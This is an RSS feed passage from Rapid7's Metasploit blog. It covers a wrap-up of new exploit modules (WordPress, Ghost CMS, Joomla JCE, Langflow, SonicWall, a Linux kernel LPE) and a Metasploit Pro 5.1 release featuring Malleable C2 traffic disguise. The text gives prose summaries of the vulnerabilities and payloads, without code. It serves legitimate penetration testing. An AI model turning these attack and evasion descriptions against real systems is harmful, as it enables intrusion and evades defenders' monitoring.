<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Metasploit - Rapid7 Cybersecurity Blog ]]></title>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Fri, 21 Aug 2026 15:49:29 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/tag/metasploit/rss" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[Metasploit Wrap Up: Lot of summer shells and fit http profiles]]></title>
      <description><![CDATA[<p><span style='font-size: undefined;'>This wrap-up brings a full-on shell parade. Thirteen shiny new modules landed, starting with a buffet of RCEs. WordPress WP2Shell, Ghost CMS, Joomla JCE, Langflow, OpenCATS, Pterodactyl Panel, SonicWall SMA1000, Ray Dashboard, a Pix-for-WooCommerce, and for those who like their exploits closer to the bare-metal, the Fragnesia Linux kernel LPE (CVE-2026-46300). Metasploit also got the glow-up of the summer with the new http malleable profiles, MCP functionality and linux multi fetch payloads (more details on the [official 6.5 release blog post](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/)!). Windows on ARM confirm to be the new first-class citizenship thanks to brand-new AArch64 reverse-TCP shells (both inline and staged), so your Snapdragon boxes can join the party too. Last but not least, an important message: *Nyan Nyan Nyan Nyan Nyan Nyan.*</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbd399d6607894627/6a7f892eb966e182b964118a/Screenshot_2026-08-14_162940.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot_2026-08-14_162940.png" asset-alt="Screenshot_2026-08-14_162940.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbd399d6607894627/6a7f892eb966e182b964118a/Screenshot_2026-08-14_162940.png" data-sys-asset-uid="bltbd399d6607894627" data-sys-asset-filename="Screenshot_2026-08-14_162940.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot_2026-08-14_162940.png" sys-style-type="display"/></figure><p></p><h2><span style='font-size: undefined;'>New module content (13)</span></h2><h3><span style='font-size: undefined;'>Ray Dashboard Logs API Path Traversal</span></h3><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Author: Richard Howe &lt;rhowe425&gt;</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Auxiliary</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: </span><a href="https://github.com/rapid7/metasploit-framework/pull/21681" target="_self"><span style='font-size: undefined;'>#21681</span></a><span style='font-size: undefined;'> contributed by </span><a href="https://github.com/rmhowe425" target="_self"><span style='font-size: undefined;'>rmhowe425</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `gather/ray_dashboard_logs_api_path_traversal`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds an auxiliary module that leverages a path traversal vulnerability in Ray to list the contents of local directories. There is currently no CVE assigned to this vulnerability. Issuance is pending with MITRE.</span></p><p><span style='font-size: undefined;'></span></p><h3><span style='font-size: undefined;'> Pterodactyl Panel CVE-2025-49132 Remote Code Execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Authors: 0xtensho and jheysel-r7</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Exploit</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: </span><a href="https://github.com/rapid7/metasploit-framework/pull/21452" target="_self"><span style='font-size: undefined;'>#21452</span></a><span style='font-size: undefined;'> contributed by </span><a href="https://github.com/jheysel-r7" target="_self"><span style='font-size: undefined;'>jheysel-r7</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `linux/http/pterodactyl_locales_locale_json`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>AttackerKB reference: </span><a href="https://attackerkb.com/search?q=CVE-2025-49132&amp;referrer=blog" target="_self"><span style='font-size: undefined;'>CVE-2025-49132</span></a></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds a module which exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated remote code execution through improper handling of locale file operations. The vulnerability, CVE-2025-49132, exists in the locale.json endpoint which allows path traversal and arbitrary file creation. This combination of capabilities results in remote code execution in the context of the user running the web server.</span></p><h3><span style='font-size: undefined;'>SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Authors: Deral Heiland, Rapid7 Vulnerability Research, and Ryan Emmons</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Type: Exploit</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Pull request: #</span><a href="https://github.com/rapid7/metasploit-framework/pull/21678" target="_self"><span style='font-size: undefined;'>21678</span></a><span style='font-size: undefined;'> contributed by dheiland-r7(https://github.com/dheiland-r7)</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Path: `linux/http/sonicwall_sma1000_wsproxy_rce`</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>AttackerKB reference:</span><a href="https://attackerkb.com/search?q=CVE-2026-15409&amp;referrer=blog" target="_self"><span style='font-size: undefined;'> CVE-2026-15409</span></a><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Description: This adds a new exploit module for CVE-2026-15409, a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service.</span></p><h3>Fragnesia LPE (CVE-2026-46300)</h3><p>Authors: William Bowling and msutovsky-r7</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21456">#21456</a> contributed by <a href="https://github.com/msutovsky-r7">msutovsky-r7</a></p><p>Path: linux/local/cve_2026_46300_fragnesia</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-46300&amp;referrer=blog">CVE-2026-46300</a></p><p>Description: This adds a local module for the Fragnesia exploit which is a page-cache replacement vulnerability in the Linux kernel's XFRM (IPsec) subsystem, tracked as CVE-2026-46300.</p><h3>Ghost CMS Remote Code Execution</h3><p>Authors: Cristian-Alexandru Staicu and Maksim Rogov</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21234">#21234</a> contributed by <a href="https://github.com/vognik">vognik</a></p><p>Path: multi/http/ghostcms_auth_rce_cve_2026_29053</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-22594&amp;referrer=blog">CVE-2026-22594</a></p><p>Description: This adds an exploit module for Ghost CMS (CVE-2026-29053) that achieves remote code execution by uploading a malicious theme. Ghost's theme renderer evaluates untrusted JSONPath expressions through the {{#get}} helper, letting the module inject and trigger arbitrary code once a theme is uploaded and activated. You'll need valid admin or staff credentials to authenticate.</p><h3>Joomla Content Editor Unauthenticated File Upload RCE</h3><p>Authors: David Jardin, Uwe Flottemesch, and ispyispyispy</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21615">#21615</a> contributed by <a href="https://github.com/15py15py15py">15py15py15py</a></p><p>Path: multi/http/joomla_com_jce_unauth_file_upload_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-48907&amp;referrer=blog">CVE-2026-48907</a></p><p>Description: This adds a new exploit module for CVE-2026-48907, an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla!. The profiles.import task fails to enforce authentication, letting an attacker import a crafted profile that is written to disk as a PHP web shell, resulting in remote code execution when the tmp/ directory is directly accessible. All JCE versions up to and including 2.9.99.4 are affected, and no credentials are required.</p><h3>Langflow Unauth RCE</h3><p>Authors: Diamorphine and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21700">#21700</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_33017</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-33017&amp;referrer=blog">CVE-2026-33017</a></p><p>Description: Adds a new multi/http/langflow_unauth_rce_cve_2026_33017 exploit module that exploits an unauth RCE vulnerability in the /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow versions prior to 1.9.0.</p><h3>OpenCATS Installer PHP Code Injection</h3><p>Authors: Chocapikk and stlthr4k3r</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21630">#21630</a> contributed by <a href="https://github.com/stlthr4k3r">stlthr4k3r</a></p><p>Path: multi/http/opencats_installer_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-27760&amp;referrer=blog">CVE-2026-27760</a></p><p>Description: Adds an exploit module targeting CVE-2026-27760, a PHP code injection in OpenCATS.</p><h3>WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE</h3><p>Authors: Adam Kues, Crypto-Cat, TF1T, dtro, and haongo</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21686">#21686</a> contributed by <a href="https://github.com/Crypto-Cat">Crypto-Cat</a></p><p>Path: multi/http/wp_batch_desync_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-60137&amp;referrer=blog">CVE-2026-60137</a></p><p>Description: This adds an exploit module to target WP2Shell, an unauthenticated pre-auth remote code execution vulnerability affecting WordPress core versions 6.9.0–6.9.4 and 7.0.0–7.0.1. The module chains a REST API route confusion flaw (CVE-2026-63030) with an SQL injection (CVE-2026-60137) to elevate privileges, deploy a payload via a custom plugin, and execute a remote session.</p><h3>WordPress Unauthenticated RCE via Pix for WooCommerce plugin</h3><p>Authors: Alexis Lafontaine and Maksim Rogov</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21683">#21683</a> contributed by <a href="https://github.com/vognik">vognik</a></p><p>Path: multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-3891&amp;referrer=blog">CVE-2026-3891</a></p><p>Description: Adds CVE-2026-3891 WordPress Unauthenticated RCE Exploit module targeting Pix for WooCommerce plugin.</p><h3>Release Metasploit 6.5</h3><p>Authors: OJ Reeves, Spencer McIntyre</p><p>Type: Payload (Single) Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21728">#21728</a> contributed by <a href="https://github.com/zeroSteiner">zeroSteiner</a></p><p>Description: Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality.</p><h3>Windows AArch64 Command Shell, Reverse TCP Inline</h3><p>Author: vinicius-batistella</p><p>Type: Payload (Single)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21589">#21589</a> contributed by <a href="https://github.com/vinicius-batistella">vinicius-batistella</a></p><p>Path: windows/aarch64/shell_reverse_tcp</p><p>Description: Adds Windows on ARM (AArch64) reverse-TCP command-shell payload.</p><h3>Windows AArch64 Command Shell, Windows AArch64 Reverse TCP Stager</h3><p>Author: vinicius-batistella</p><p>Type: Payload (Stager)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21744">#21744</a> contributed by <a href="https://github.com/vinicius-batistella">vinicius-batistella</a></p><p>Path: windows/aarch64/shell/reverse_tcp</p><p>Description: Adds Windows AARCH64 staged shell payloads.</p><h2>Enhancements and features (15)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21379">#21379</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - This improves the FTP login scanner by extending the reporting logic and adding extra checks</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21575">#21575</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Improves scanner/ftp/ftp_version to now report the service if host is up but we don't get an appropriate FTP banner</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21578">#21578</a> from <a href="https://github.com/arpan-pramanik">arpan-pramanik</a> - Fixes a bug where msfconsole crashes with an unhandled exception when attempting to exit if the msf database is missing</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21607">#21607</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This extends CertificateTrace peer cert tracing to support LDAP over TLS and RDP</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21608">#21608</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This adds CertificateTrace peer cert tracing to PostgreSQL over TLS, and fixes a long-standing gap where the Postgres mixin accepted an SSL datastore option but never passed it through to the underlying connection</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21622">#21622</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds Bearer Authentication to the MCP server plugin</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21638">#21638</a> from <a href="https://github.com/eve0805">eve0805</a> - This reuses the existing Kerberos ticket trace formatting for offline Kerberos artifact workflows, so stored and converted tickets can be inspected with the same output style used during live Kerberos authentication</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21653">#21653</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This adds job tracking via run_uuid across all module types when executed through RPC endpoints to support Model Context Protocol (MCP) tool integrations</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21654">#21654</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - Adds eight new MCP tools: that wrap the existing RPC endpoints for module and session control, backed by strict per-tool input validation with an opt-in flag for dangerous actions</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21667">#21667</a> from <a href="https://github.com/jburgess-r7">jburgess-r7</a> - This updates the gogs_rebase_rce module with the vulnerability's newly assigned CVE, CVE-2026-52806</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21691">#21691</a> from <a href="https://github.com/eve0805">eve0805</a> - This adds KerberosTicketTrace support to the auxiliary/admin/kerberos/forge_ticket module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21697">#21697</a> from <a href="https://github.com/bwatters-r7">bwatters-r7</a> - Adds explicit endianness to fetch multi payload query strings and encodes the fetch command in base64 for Python 3.8+ environments</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21728">#21728</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21748">#21748</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Nyan Nyan Nyan Nyan Nyan Nyan!</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21768">#21768</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates the default authentication logic in the JSON RPC support to now require auth by default, either via the database with user credentials or an auth token</li></ul><h2>Bugs fixed (15)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21552">#21552</a> from <a href="https://github.com/stzifkas">stzifkas</a> - Fix LHOST validation rejecting tunnel hostnames when DNS lookup fails</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21574">#21574</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Fixes the implementation of the FTP mixin to allow for reading multiple responses on the same TCP segment</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21609">#21609</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Fixed an issue where payload option validation was delayed until after running show options, ensuring options like LHOST and LPORT are validated immediately upon setting a payload or loading a module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21647">#21647</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This updates the ntlm_relay_2_self module to automatically configure Resource-Based Constrained Delegation (RBCD) on the target machine account by setting its msDS-AllowedToActOnBehalfOfOtherIdentity attribute</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21659">#21659</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - This improves port conflict handling for the MCP plugin by adding pre-flight availability checks, post-spawn verification, and proper state resets on failure</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21661">#21661</a> from <a href="https://github.com/kx7m2qd">kx7m2qd</a> - Fixes an issue with Ctrl+C handling regarding the MCP plugin</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21663">#21663</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Updates the error handling in the auxiliary/admin/dcerpc/icpr_cert module</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21687">#21687</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This updates and centralizes the warning message that's displayed when a user sets a datastore option that is not valid in the current context</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21699">#21699</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fixes a FrozenError issue when the DNS feature was enabled, which occurred when attempting to mutate frozen strings in place during DNS queries</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21701">#21701</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This fixes an issue where exploit error messages were captured by the job listener during execution but hidden from the console</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21711">#21711</a> from <a href="https://github.com/cdelafuente-r7">cdelafuente-r7</a> - This fixes a Ruby 3 keyword argument parsing issue in run_simple, exploit_simple, and check_simple where passing a braceless hash literal caused an ArgumentError</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21714">#21714</a> from <a href="https://github.com/l1ve709">l1ve709</a> - Fixes typos in various module docs</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21718">#21718</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Fixes a crash when attempting to run VNC sessions from Metasploit</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21722">#21722</a> from <a href="https://github.com/dwelch-r7">dwelch-r7</a> - Fixed a regression to now again allow 0.0.0.0 as a valid listener LHOST address</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21759">#21759</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash on multiple SMB modules when attempting to register an SMB service</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a> .</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+merged%3A%222026-07-15T15%3A48%3A48-07%3A00..2026-08-13T15%3A07%3A46%2B01%3A00%22">Pull Requests 6.4.144...6.5.2</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.144...6.5.2">Full diff 6.4.144...6.5.2</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a> .</p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-lot-of-summer-shells-and-fit-http-profiles</link>
      <guid isPermaLink="false">bltc90240c4d39c7b86</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Rapid7 Labs]]></dc:creator>
      <pubDate>Fri, 14 Aug 2026 21:27:45 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Pro 5.1 Released]]></title>
      <description><![CDATA[<p><span style='font-size: undefined;'>Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by </span><a href="https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/" target="_blank" title="Metasploit Framework 6.5 Released"><span style='font-size: undefined;'>Metasploit Framework 6.5</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Malleable C2 Profiles</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. </span><span style='font-size: undefined;'><span data-type='inlineCode'>meterpreter/reverse_https</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>meterpreter_reverse_https</span></span><span style='font-size: undefined;'>). This functionality is compatible with </span><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles" target="_blank" title="Malleable C2 profiles"><span style='font-size: undefined;'>publicly available profile libraries</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>Profile support across the Pro UI</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Malleable C2 profiles are now available in every part of the workflow where a payload is configured:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Single Module Run:</strong></span><span style='font-size: undefined;'> The module options page now includes a Malleable C2 section.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Listeners (New & Edit):</strong></span><span style='font-size: undefined;'> You can now choose from profiles already uploaded to the server or upload a new </span><span style='font-size: undefined;'><span data-type='inlineCode'>.profile</span></span><span style='font-size: undefined;'> file directly from your browser.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Payload Generator:</strong></span><span style='font-size: undefined;'> The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.</span><br/></li></ul><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-1.png" asset-alt="mal-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" data-sys-asset-uid="blt00c8f7cfba369f9b" data-sys-asset-filename="mal-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1 Malleable Profiles</em></span></p><h2><span style='font-size: undefined;'>Improved Payload Section</span></h2><p><br/><span style='font-size: undefined;'>Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.</span></p><p><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-2.png" asset-alt="mal-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" data-sys-asset-uid="blt5b8c9d84c56f4976" data-sys-asset-filename="mal-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 2: Advanced Payload Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="select-1.png" asset-alt="select-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" data-sys-asset-uid="blt5386f342760bb33c" data-sys-asset-filename="select-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="select-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 3: Additional Payload Options</em></span></p><h2><span style='font-size: undefined;'>Service Hierarchy Tracking Support</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Service hierarchy visibility:</strong></span><span style='font-size: undefined;'> The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Search and sort across all columns:</strong></span><span style='font-size: undefined;'> You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Inline editing:</strong></span><span style='font-size: undefined;'> Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.</span></li></ul><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-1.png" asset-alt="service-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" data-sys-asset-uid="blte99ed4bec8ace3d0" data-sys-asset-filename="service-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-1.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 4: Service Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-2.png" asset-alt="service-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" data-sys-asset-uid="blte899cf4f4f3abbe0" data-sys-asset-filename="service-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-2.png" sys-style-type="display"/></p><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 5: Service </em></span><em>Hierarchy</em><span style='font-size: undefined;'><em> Display</em></span></p><h2><span style='font-size: undefined;'>Network Topology Enhancements</span><br/></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.</span></p><h2><span style='font-size: undefined;'>Rich host information panels</span></h2><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Sessions:</strong></span><span style='font-size: undefined;'> all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Loot: </strong></span><span style='font-size: undefined;'>captured loot items associated with the host, including type, name, and content type.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Credentials:</strong></span><span style='font-size: undefined;'> cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Modules run:</strong></span><span style='font-size: undefined;'> a list of every module that has been executed against the host.</span></li><li style="direction: ltr;"><span style='font-size: undefined;'><strong>Tags:</strong></span><span style='font-size: undefined;'> any tags applied to the host or its sessions.</span></li></ul><p><span style='font-size: undefined;'></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-1.png" asset-alt="info-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" data-sys-asset-uid="blt099cc5a0c6188dc7" data-sys-asset-filename="info-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-1.png" sys-style-type="display"/></p><p style="text-align: 